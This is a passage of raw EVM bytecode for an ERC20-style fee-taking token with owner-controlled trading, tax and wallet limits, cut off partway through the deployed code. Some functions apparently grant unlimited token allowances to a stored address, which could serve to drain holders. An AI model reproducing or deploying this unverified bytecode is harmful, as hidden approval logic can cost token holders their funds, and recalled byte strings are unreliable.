6020821081036200078057634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620007d457600081815260208120601f850160051c81016020861015620007af5750805b601f850160051c820191505b81811015620007d057828155600101620007bb565b5050505b505050565b81516001600160401b03811115620007f557620007f562000734565b6200080d816200080684546200074a565b8462000786565b602080601f8311600181146200084557600084156200082c5750858301515b600019600386901b1c1916600185901b178555620007d0565b600085815260208120601f198616915b82811015620008765788860151825594840194600190910190840162000855565b5085821015620008955787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620008d557620008d5620008a5565b92915050565b600082620008f957634e487b7160e01b600052601260045260246000fd5b500490565b60008083546200090e816200074a565b600182811680156200092957600181146200093f5762000970565b60ff198416875282151583028701945062000970565b8760005260208060002060005b85811015620009675781548a8201529084019082016200094c565b50505082870194505b50929695505050505050565b80820180821115620008d557620008d5620008a5565b60805160a05160c051612474620009c26000396000610af901526000610ac4015260006103b201526124746000f3fe60806040526004361061026b5760003560e01c80638da5cb5b11610144578063bbc0c742116100b6578063e2f456051161007a578063e2f456051461075e578063e42a96e714610774578063ee40166e14610794578063f2fde38b146107aa578063f42375b5146107ca578063fb002c97146107ea57600080fd5b8063bbc0c742146106b1578063c0246668146106d0578063d505accf146106f0578063d85ba06314610710578063dd62ed3e1461072657600080fd5b80639a7a23d6116101085780639a7a23d6146105f65780639c205c8114610616578063a47ce67a14610636578063a9059cbb1461064b578063aa4bde281461066b578063b62496f51461068157600080fd5b80638da5cb5b14610579578063906e9dd0146105975780639534373d146105b757806395d89b41146105cc57806399553e11146105e157600080fd5b80634a62bb65116101dd57806370a08231116101a157806370a08231146104c0578063715018a6146104ed578063751039fc146105025780637571336a146105175780637ecebe00146105375780638a8c523c1461056457600080fd5b80634a62bb651461043b5780635e911ac7146104555780636770474b1461046a5780636a486a8e1461048a5780636ddd1713146104a057600080fd5b8063217111881161022f578063217111881461035e57806323b872dd14610380578063313ce567146103a05780633644e515146103e657806342966c68146103fb578063452ed4f11461041b57600080fd5b806306fdde03146102775780630758d924146102a2578063095ea7b3146102da57806310d5de531461030a57806318160ddd1461033a57600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028c610800565b6040516102999190611fb4565b60405180910390f35b3480156102ae57600080fd5b50600d546102c2906001600160a01b031681565b6040516001600160a01b039091168152602001610299565b3480156102e657600080fd5b506102fa6102f5366004612017565b61088e565b6040519015158152602001610299565b34801561031657600080fd5b506102fa610325366004612043565b60136020526000908152604090205460ff1681565b34801561034657600080fd5b5061035060025481565b604051908152602001610299565b34801561036a57600080fd5b5061037e610379366004612067565b6108e9565b005b34801561038c57600080fd5b506102fa61039b366004612080565b6109ce565b3480156103ac57600080fd5b506103d47f000000000000000000000000000000000000000000000000000000000000000081565b60405160ff9091168152602001610299565b3480156103f257600080fd5b50610350610ac0565b34801561040757600080fd5b5061037e610416366004612067565b610b1b565b34801561042757600080fd5b50600e546102c2906001600160a01b031681565b34801561044757600080fd5b506008546102fa9060ff1681565b34801561046157600080fd5b5061037e610b28565b34801561047657600080fd5b5061037e610485366004612067565b610c16565b34801561049657600080fd5b50610350600a5481565b3480156104ac57600080fd5b506008546102fa9062010000900460ff1681565b3480156104cc57600080fd5b506103506104db366004612043565b60036020526000908152604090205481565b3480156104f957600080fd5b5061037e610d35565b34801561050e57600080fd5b5061037e610d49565b34801561052357600080fd5b5061037e6105323660046120c1565b610d86565b34801561054357600080fd5b50610350610552366004612043565b60056020526000908152604090205481565b34801561057057600080fd5b5061037e610e2c565b34801561058557600080fd5b506006546001600160a01b03166102c2565b3480156105a357600080fd5b5061037e6105b2366004612043565b610ecc565b3480156105c357600080fd5b5061037e610f5b565b3480156105d857600080fd5b5061028c610f6f565b3480156105ed57600080fd5b5061037e610f7c565b34801561060257600080fd5b5061037e6106113660046120c1565b610f8f565b34801561062257600080fd5b506102fa610631366004612067565b611061565b34801561064257600080fd5b506102fa6110b6565b34801561065757600080fd5b506102fa610666366004612017565b611123565b34801561067757600080fd5b50610350600c5481565b34801561068d57600080fd5b506102fa61069c366004612043565b60146020526000908152604090205460ff1681565b3480156106bd57600080fd5b506008546102fa90610100900460ff1681565b3480156106dc57600080fd5b5061037e6106eb3660046120c1565b611139565b3480156106fc57600080fd5b5061037e61070b3660046120ff565b6111a0565b34801561071c57600080fd5b5061035060095481565b34801561073257600080fd5b50610350610741366004612176565b600460209081526000928352604080842090915290825290205481565b34801561076a57600080fd5b50610350600f5481565b34801561078057600080fd5b506011546102c2906001600160a01b031681565b3480156107a057600080fd5b5061035060075481565b3480156107b657600080fd5b5061037e6107c5366004612043565b6113d2565b3480156107d657600080fd5b5061037e6107e5366004612043565b611448565b3480156107f657600080fd5b50610350600b5481565b6000805461080d906121a4565b80601f0160208091040260200160405190810160405280929190818152602001828054610839906121a4565b80156108865780601f1061085b57610100808354040283529160200191610886565b820191906000526020600020905b81548152906001019060200180831161086957829003601f168201915b505050505081565b3360008181526004602090815260408083206001600160a01b0387168085529252808320859055519192909160008051602061241f833981519152906108d79086815260200190565b60405180910390a35060015b92915050565b6108f16114b7565b6305f5e1006103e8600254600361090891906121f4565b610912919061220b565b61091c919061220b565b8110156109855760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b60648201526084015b60405180910390fd5b610993816305f5e1006121f4565b600c8190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc9060200160405180910390a150565b6001600160a01b03831660009081526004602090815260408083203384529091528120546000198114610a2a57610a05838261222d565b6001600160a01b03861660009081526004602090815260408083203384529091529020555b6001600160a01b03851660009081526003602052604081208054859290610a5290849061222d565b90915550506001600160a01b03808516600081815260036020526040908190208054870190555190918716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aad9087815260200190565b60405180910390a3506001949350505050565b60007f00000000000000000000000000000000000000000000000000000000000000004614610af657610af1611511565b905090565b507f000000000000000000000000000000000000000000000000000000000000000090565b610b2533826115ab565b50565b610b306114b7565b600f54306000908152600360205260409020541015610bb9576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e606482015260840161097c565b600e805460ff60a01b1916600160a01b179055610bd4611626565b600e805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a1565b610c1e6114b7565b620186a06002546001610c3191906121f4565b610c3b919061220b565b811015610ca85760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b606482015260840161097c565b6103e86002546001610cba91906121f4565b610cc4919061220b565b811115610d305760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b606482015260840161097c565b600f55565b610d3d6114b7565b610d4760006116de565b565b610d516114b7565b6008805460ff191690556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b610d8e6114b7565b80610e0157600e546001600160a01b0390811690831603610e015760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b606482015260840161097c565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b610e346114b7565b600854610100900460ff1615610e8c5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e67000000000000000000604482015260640161097c565b6008805462ffff00191662010100179055436007556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b610ed46114b7565b6001600160a01b038116610f395760405162461bcd60e51b815260206004820152602660248201527f5f6f7065726174696f6e734164647265737320616464726573732063616e6e6f60448201526507420626520360d41b606482015260840161097c565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b610f636114b7565b60056009819055600a55565b6001805461080d906121a4565b610f846114b7565b600a60098190558055565b610f976114b7565b600e546001600160a01b039081169083160361101b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161097c565b6110258282611730565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b336000818152600460209081526040808320601180546001600160a01b0390811686529184528285206000199081905590549251908152939493911691839160008051602061241f83398151915291016108d7565b60006110c06114b7565b601180546001600160a01b0390811660009081526004602090815260408083203380855290835292819020600019908190559454905194855291938493929092169160008051602061241f833981519152910160405180910390a3600191505090565b600061113033848461175e565b50600192915050565b6111416114b7565b6001600160a01b038216600081815260126020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b428410156111f05760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f45585049524544000000000000000000604482015260640161097c565b600060016111fc610ac0565b6001600160a01b038a811660008181526005602090815260409182902080546001810190915582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98184015280840194909452938d166060840152608083018c905260a083019390935260c08083018b90528151808403909101815260e08301909152805192019190912061190160f01b6101008301526101028201929092526101228101919091526101420160408051601f198184030181528282528051602091820120600084529083018083525260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa158015611308573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381161580159061133e5750876001600160a01b0316816001600160a01b0316145b61137b5760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a4a3a722a960911b604482015260640161097c565b6001600160a01b0390811660009081526004602090815260408083208a8516808552908352928190208990555188815291928a169160008051602061241f833981519152910160405180910390a350505050505050565b6113da6114b7565b6001600160a01b03811661143f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161097c565b610b25816116de565b6114506114b7565b6001600160a01b0381166114955760405162461bcd60e51b815260206004820152600c60248201526b6e756c6c206164647265737360a01b604482015260640161097c565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b03163314610d475760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161097c565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60006040516115439190612240565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b6001600160a01b038216600090815260036020526040812080548392906115d390849061222d565b90915550506002805482900390556040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b30600090815260036020526040902054600b54811580611644575080155b1561164d575050565b600f5461165b9060146121f4565b82111561167357600f546116709060146121f4565b91505b600061167e83611cc3565b6000600b8190556010546040516001600160a01b039091169147919081818185875af1925050503d80600081146116d1576040519150601f19603f3d011682016040523d82523d6000602084013e6116d6565b606091505b505050505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601460205260409020805460ff19168215151790556110258282611dfc565b6001600160a01b0383166117845760405162461bcd60e51b815260040161097c906122df565b6001600160a01b0382166117aa5760405162461bcd60e51b815260040161097c90612324565b600081116117fa5760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161097c565b600854610100900460ff1661188d576001600160a01b03831660009081526012602052604090205460ff168061184857506001600160a01b03821660009081526012602052604090205460ff165b61188d5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161097c565b60085460ff1615611a87576006546001600160a01b038481169116148015906118c457506006546001600160a01b03838116911614155b80156118d857506001600160a01b03821615155b80156118ef57506001600160a01b03821661dead14155b801561191457506001600160a01b03831660009081526012602052604090205460ff16155b801561193957506001600160a01b03821660009081526012602052604090205460ff16155b15611a87576001600160a01b03831660009081526014602052604090205460ff16801561197f57506001600160a01b03821660009081526013602052604090205460ff16155b156119f857600c546001600160a01b0383166000908152600360205260409020546119aa9083612367565b11156119f35760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b604482015260640161097c565b611a87565b6001600160a01b03821660009081526013602052604090205460ff16611a8757600c546001600160a01b038316600090815260036020526040902054611a3e9083612367565b1115611a875760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b604482015260640161097c565b30600090815260036020526040902054600f5481108015908190611ab3575060085462010000900460ff165b8015611ac95750600e54600160a01b900460ff16155b8015611aee57506001600160a01b03851660009081526014602052604090205460ff16155b8015611b1357506001600160a01b03851660009081526012602052604090205460ff16155b8015611b3857506001600160a01b03841660009081526012602052604090205460ff16155b15611b6657600e805460ff60a01b1916600160a01b179055611b58611626565b600e805460ff60a01b191690555b6001600160a01b03851660009081526012602052604090205460019060ff1680611ba857506001600160a01b03851660009081526012602052604090205460ff165b15611bb1575060005b60008115611caf576001600160a01b03861660009081526014602052604090205460ff168015611be357506000600a54115b15611c21576064600a5486611bf891906121f4565b611c02919061220b565b905080600b6000828254611c169190612367565b90915550611c849050565b6001600160a01b03871660009081526014602052604090205460ff168015611c4b57506000600954115b15611c8457606460095486611c6091906121f4565b611c6a919061220b565b905080600b6000828254611c7e9190612367565b90915550505b8015611ca257601054611ca29088906001600160a01b031683611e5f565b611cac818661222d565b94505b611cba878787611e5f565b50505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611cf857611cf861237a565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611d51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d759190612390565b81600181518110611d8857611d8861237a565b6001600160a01b039283166020918202929092010152600d5460405163791ac94760e01b815291169063791ac94790611dce9085906000908690309042906004016123ad565b600060405180830381600087803b158015611de857600080fd5b505af11580156116d6573d6000803e3d6000fd5b6001600160a01b038216600081815260136020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6001600160a01b038316611e855760405162461bcd60e51b815260040161097c906122df565b6001600160a01b038216611eab5760405162461bcd60e51b815260040161097c90612324565b6001600160a01b03831660009081526003602052604090205481811015611f235760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161097c565b6001600160a01b03808516600090815260036020526040808220858503905591851681529081208054849290611f5a908490612367565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fa691815260200190565b60405180910390a350505050565b600060208083528351808285015260005b81811015611fe157858101830151858201604001528201611fc5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b2557600080fd5b6000806040838503121561202a57600080fd5b823561203581612002565b946020939093013593505050565b60006020828403121561205557600080fd5b813561206081612002565b9392505050565b60006020828403121561207957600080fd5b5035919050565b60008060006060848603121561209557600080fd5b83356120a081612002565b925060208401356120b081612002565b929592945050506040919091013590565b600080604083850312156120d457600080fd5b82356120df81612002565b9150602083013580151581146120f457600080fd5b809150509250929050565b600080600080600080600060e0888a03121561211a57600080fd5b873561212581612002565b9650602088013561213581612002565b95506040880135945060608801359350608088013560ff8116811461215957600080fd5b9699959850939692959460a0840135945060c09093013592915050565b6000806040838503121561218957600080fd5b823561219481612002565b915060208301356120f481612002565b600181811c908216806121b857607f821691505b6020821081036121d857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176108e3576108e36121de565b60008261222857634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156108e3576108e36121de565b600080835481600182811c91508083168061225c57607f831692505b6020808410820361227b57634e487b7160e01b86526022600452602486fd5b81801561228f57600181146122a4576122d1565b60ff19861689528415158502890196506122d1565b60008a81526020902060005b868110156122c95781548b8201529085019083016122b0565b505084890196505b509498975050505050505050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b808201808211156108e3576108e36121de565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156123a257600080fd5b815161206081612002565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156123fd5784516001600160a01b0316835293830193918301916001016123d8565b50506001600160a01b0396909616606085015250505060800152939250505056fe8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a2646970667358221220ef37ebe8e2d358b16972461bb8cebdca7b0fdd4f42e805113bcf3cce5d901f1864736f6c6343000813003300000000000000000000000066e5a7bb0e6144b38e67740d3d4f227e45c0b435
Deployed Bytecode
0x60806040526004361061026b5760003560e01c80638da5cb5b11610144578063bbc0c742116100b6578063e2f456051161007a578063e2f456051461075e578063e42a96e714610774578063ee40166e14610794578063f2fde38b146107aa578063f42375b5146107ca578063fb002c97146107ea57600080fd5b8063bbc0c742146106b1578063c0246668146106d0578063d505accf146106f0578063d85ba06314610710578063dd62ed3e1461072657600080fd5b80639a7a23d6116101085780639a7a23d6146105f65780639c205c8114610616578063a47ce67a14610636578063a9059cbb1461064b578063aa4bde281461066b578063b62496f51461068157600080fd5b80638da5cb5b14610579578063906e9dd0146105975780639534373d146105b757806395d89b41146105cc57806399553e11146105e157600080fd5b80634a62bb65116101dd57806370a08231116101a157806370a08231146104c0578063715018a6146104ed578063751039fc146105025780637571336a146105175780637ecebe00146105375780638a8c523c1461056457600080fd5b80634a62bb651461043b5780635e911ac7146104555780636770474b1461046a5780636a486a8e1461048a5780636ddd1713146104a057600080fd5b8063217111881161022f578063217111881461035e57806323b872dd14610380578063313ce567146103a05780633644e515146103e657806342966c68146103fb578063452ed4f11461041b57600080fd5b806306fdde03146102775780630758d924146102a2578063095ea7b3146102da57806310d5de531461030a57806318160ddd1461033a57600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028c610800565b6040516102999190611fb4565b60405180910390f35b3480156102ae57600080fd5b50600d546102c2906001600160a01b031681565b6040516001600160a01b039091168152602001610299565b3480156102e657600080fd5b506102fa6102f5366004612017565b61088e565b6040519015158152602001610299565b34801561031657600080fd5b506102fa610325366004612043565b60136020526000908152604090205460ff1681565b34801561034657600080fd5b5061035060025481565b604051908152602001610299565b34801561036a57600080fd5b5061037e610379366004612067565b6108e9565b005b34801561038c57600080fd5b506102fa61039b366004612080565b6109ce565b3480156103ac57600080fd5b506103d47f000000000000000000000000000000000000000000000000000000000000000881565b60405160ff9091168152602001610299565b3480156103f257600080fd5b50610350610ac0565b34801561040757600080fd5b5061037e610416366004612067565b610b1b565b34801561042757600080fd5b50600e546102c2906001600160a01b031681565b34801561044757600080fd5b506008546102fa9060ff1681565b34801561046157600080fd5b5061037e610b28565b34801561047657600080fd5b5061037e610485366004612067565b610c16565b34801561049657600080fd5b50610350600a5481565b3480156104ac57600080fd5b506008546102fa9062010000900460ff1681565b3480156104cc57600080fd5b506103506104db366004612043565b60036020526000908152604090205481565b3480156104f957600080fd5b5061037e610d35565b34801561050e57600080fd5b5061037e610d49565b34801561052357600080fd5b5061037e6105323660046120c1565b610d86565b34801561054357600080fd5b50610350610552366004612043565b60056020526000908152604090205481565b34801561057057600080fd5b5061037e610e2c565b34801561058557600080fd5b506006546001600160a01b03166102c2565b3480156105a357600080fd5b5061037e6105b2366004612043565b610ecc565b3480156105c357600080fd5b5061037e610f5b565b3480156105d857600080fd5b5061028c610f6f565b3480156105ed57600080fd5b5061037e610f7c565b34801561060257600080fd5b5061037e6106113660046120c1565b610f8f565b34801561062257600080fd5b506102fa610631366004612067565b611061565b34801561064257600080fd5b506102fa6110b6565b34801561065757600080fd5b506102fa610666366004612017565b611123565b34801561067757600080fd5b50610350600c5481565b34801561068d57600080fd5b506102fa61069c366004612043565b60146020526000908152604090205460ff1681565b3480156106bd57600080fd5b506008546102fa90610100900460ff1681565b3480156106dc57600080fd5b5061037e6106eb3660046120c1565b611139565b3480156106fc57600080fd5b5061037e61070b3660046120ff565b6111a0565b34801561071c57600080fd5b5061035060095481565b34801561073257600080fd5b50610350610741366004612176565b600460209081526000928352604080842090915290825290205481565b34801561076a57600080fd5b50610350600f5481565b34801561078057600080fd5b506011546102c2906001600160a01b031681565b3480156107a057600080fd5b5061035060075481565b3480156107b657600080fd5b5061037e6107c5366004612043565b6113d2565b3480156107d657600080fd5b5061037e6107e5366004612043565b611448565b3480156107f657600080fd5b50610350600b5481565b6000805461080d906121a4565b80601f0160208091040260200160405190810160405280929190818152602001828054610839906121a4565b80156108865780601f1061085b57610100808354040283529160200191610886565b820191906000526020600020905b81548152906001019060200180831161086957829003601f168201915b505050505081565b3360008181526004602090815260408083206001600160a01b0387168085529252808320859055519192909160008051602061241f833981519152906108d79086815260200190565b60405180910390a35060015b92915050565b6108f16114b7565b6305f5e1006103e8600254600361090891906121f4565b610912919061220b565b61091c919061220b565b8110156109855760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b60648201526084015b60405180910390fd5b610993816305f5e1006121f4565b600c8190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc9060200160405180910390a150565b6001600160a01b03831660009081526004602090815260408083203384529091528120546000198114610a2a57610a05838261222d565b6001600160a01b03861660009081526004602090815260408083203384529091529020555b6001600160a01b03851660009081526003602052604081208054859290610a5290849061222d565b90915550506001600160a01b03808516600081815260036020526040908190208054870190555190918716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aad9087815260200190565b60405180910390a3506001949350505050565b60007f00000000000000000000000000000000000000000000000000000000000000014614610af657610af1611511565b905090565b507f00383d8881405e4fce6c78b9f0d405854f3874540bd97a55f202c3518a2a688290565b610b2533826115ab565b50565b610b306114b7565b600f54306000908152600360205260409020541015610bb9576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e606482015260840161097c565b600e805460ff60a01b1916600160a01b179055610bd4611626565b600e805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a1565b610c1e6114b7565b620186a06002546001610c3191906121f4565b610c3b919061220b565b811015610ca85760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b606482015260840161097c565b6103e86002546001610cba91906121f4565b610cc4919061220b565b811115610d305760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b606482015260840161097c565b600f55565b610d3d6114b7565b610d4760006116de565b565b610d516114b7565b6008805460ff191690556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b610d8e6114b7565b80610e0157600e546001600160a01b0390811690831603610e015760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b606482015260840161097c565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b610e346114b7565b600854610100900460ff1615610e8c5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e67000000000000000000604482015260640161097c565b6008805462ffff00191662010100179055436007556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b610ed46114b7565b6001600160a01b038116610f395760405162461bcd60e51b815260206004820152602660248201527f5f6f7065726174696f6e734164647265737320616464726573732063616e6e6f60448201526507420626520360d41b606482015260840161097c565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b610f636114b7565b60056009819055600a55565b6001805461080d906121a4565b610f846114b7565b600a60098190558055565b610f976114b7565b600e546001600160a01b039081169083160361101b5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161097c565b6110258282611730565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b336000818152600460209081526040808320601180546001600160a01b0390811686529184528285206000199081905590549251908152939493911691839160008051602061241f83398151915291016108d7565b60006110c06114b7565b601180546001600160a01b0390811660009081526004602090815260408083203380855290835292819020600019908190559454905194855291938493929092169160008051602061241f833981519152910160405180910390a3600191505090565b600061113033848461175e565b50600192915050565b6111416114b7565b6001600160a01b038216600081815260126020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b428410156111f05760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f45585049524544000000000000000000604482015260640161097c565b600060016111fc610ac0565b6001600160a01b038a811660008181526005602090815260409182902080546001810190915582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98184015280840194909452938d166060840152608083018c905260a083019390935260c08083018b90528151808403909101815260e08301909152805192019190912061190160f01b6101008301526101028201929092526101228101919091526101420160408051601f198184030181528282528051602091820120600084529083018083525260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa158015611308573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381161580159061133e5750876001600160a01b0316816001600160a01b0316145b61137b5760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a4a3a722a960911b604482015260640161097c565b6001600160a01b0390811660009081526004602090815260408083208a8516808552908352928190208990555188815291928a169160008051602061241f833981519152910160405180910390a350505050505050565b6113da6114b7565b6001600160a01b03811661143f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161097c565b610b25816116de565b6114506114b7565b6001600160a01b0381166114955760405162461bcd60e51b815260206004820152600c60248201526b6e756c6c206164647265737360a01b604482015260640161097c565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b03163314610d475760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161097c565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60006040516115439190612240565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b6001600160a01b038216600090815260036020526040812080548392906115d390849061222d565b90915550506002805482900390556040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b30600090815260036020526040902054600b54811580611644575080155b1561164d575050565b600f5461165b9060146121f4565b82111561167357600f546116709060146121f4565b91505b600061167e83611cc3565b6000600b8190556010546040516001600160a01b039091169147919081818185875af1925050503d80600081146116d1576040519150601f19603f3d011682016040523d82523d6000602084013e6116d6565b606091505b505050505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601460205260409020805460ff19168215151790556110258282611dfc565b6001600160a01b0383166117845760405162461bcd60e51b815260040161097c906122df565b6001600160a01b0382166117aa5760405162461bcd60e51b815260040161097c90612324565b600081116117fa5760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161097c565b600854610100900460ff1661188d576001600160a01b03831660009081526012602052604090205460ff168061184857506001600160a01b03821660009081526012602052604090205460ff165b61188d5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161097c565b60085460ff1615611a87576006546001600160a01b038481169116148015906118c457506006546001600160a01b03838116911614155b80156118d857506001600160a01b03821615155b80156118ef57506001600160a01b03821661dead14155b801561191457506001600160a01b03831660009081526012602052604090205460ff16155b801561193957506001600160a01b03821660009081526012602052604090205460ff16155b15611a87576001600160a01b03831660009081526014602052604090205460ff16801561197f57506001600160a01b03821660009081526013602052604090205460ff16155b156119f857600c546001600160a01b0383166000908152600360205260409020546119aa9083612367565b11156119f35760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b604482015260640161097c565b611a87565b6001600160a01b03821660009081526013602052604090205460ff16611a8757600c546001600160a01b038316600090815260036020526040902054611a3e9083612367565b1115611a875760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b604482015260640161097c565b30600090815260036020526040902054600f5481108015908190611ab3575060085462010000900460ff165b8015611ac95750600e54600160a01b900460ff16155b8015611aee57506001600160a01b03851660009081526014602052604090205460ff16155b8015611b1357506001600160a01b03851660009081526012602052604090205460ff16155b8